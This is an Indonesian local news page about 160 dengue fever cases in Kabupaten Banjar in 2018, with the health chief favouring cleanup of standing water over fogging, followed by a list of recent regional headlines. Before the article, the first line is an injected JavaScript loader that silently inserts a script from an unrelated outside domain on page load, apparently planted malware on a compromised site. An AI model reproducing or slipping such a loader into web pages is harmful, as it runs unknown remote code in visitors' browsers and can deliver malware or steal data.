(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Masuk Musim Hujan, Dinkes Banjar Dapati 160 Kasus DBD


MARTAPURA, Selama Januari hingga Oktober 2018, Dinas Kesehatan Kabupaten Banjar sudah mendeteksi 160 kasus penderita penyakit demam berdarah dengue (DBD). Begitu disampaikan Kepala Dinas Kesehatan (Dinkes) Kabupaten Banjar Ikhwansyah kepada Kanal Kalimantan. Menurut Ikhwansyah perlonjakan angka tersebut disebabkan oleh turunnya hujan yang terjadi tidak menentu di beberapa hari belakangan, sehingga air menggenang di tempat-tempat yang berpotensi menimbulkan jentik nyamuk berkembang.

“Di tengah kondisi seperti ini kasus DBD memang mengalami kenaikan, jumlah kasus yang saya dapatkan sampai sekarang sudah ada 160 kasus dan kebanyakan menyerang pada anak-anak” ujarnya.

Lebih jauh Ikhwansyah mengatakan, dari 24 Puskesmas yang tersebar di Kabupaten Banjar, sementara kasus terbesar terdapat di Puskesmas Martapura 1 didapati 55 kasus DBD.

“Paling banyak didapati di wilayah Puskesmas Martapura 1 ada temuan 55 kasus, namun Alhamdulilah hingga sekarang tidak ada yang meninggal dunia,” akunya.

Untuk menekan angka kasus DBD di Kabupaten Banjar, Ikhwansyah mengimbau kepada masyarakat untuk selalu peduli terhadap lingkungan, dimulai dari rumah hingga ke tingkat masyarakat.

“Kami tidak langsung memaksakan untuk langsung fogging, tapi bagaimana masyarakat peduli dulu dengan lingkungannya, seperti contoh membersihkan tempat yang terdapat genangan airnya,” ujar Ikhwansyah.

Ikhwansyah mengatakan, fogging tidak menyelesaikan masalah, walaupun fogging berguna untuk memutus rantai pertama risiko penularan DBD dan penyakit lain yang ditularkan oleh nyamuk aedes aygpty.

Namun kata kuncinya di sini adalah memutus rantai pertama. Artinya, fogging hanya solusi sementara, bukan solusi jangka panjang untuk menghentikan wabah. Karena fogging hanya membunuh nyamuk dewasa. Fogging hanya membunuh nyamuk dewasa, mengurangi populasinya dan ini hanya bersifat sementara. Larva nyamuk tidak terpengaruh oleh fogging dan hanya butuh beberapa hari bagi mereka untuk menetas menggantikan ‘senior-seniornya’ yang mati terbunuh. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

3 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

6 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

9 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

10 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

10 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

11 jam ago

This website uses cookies.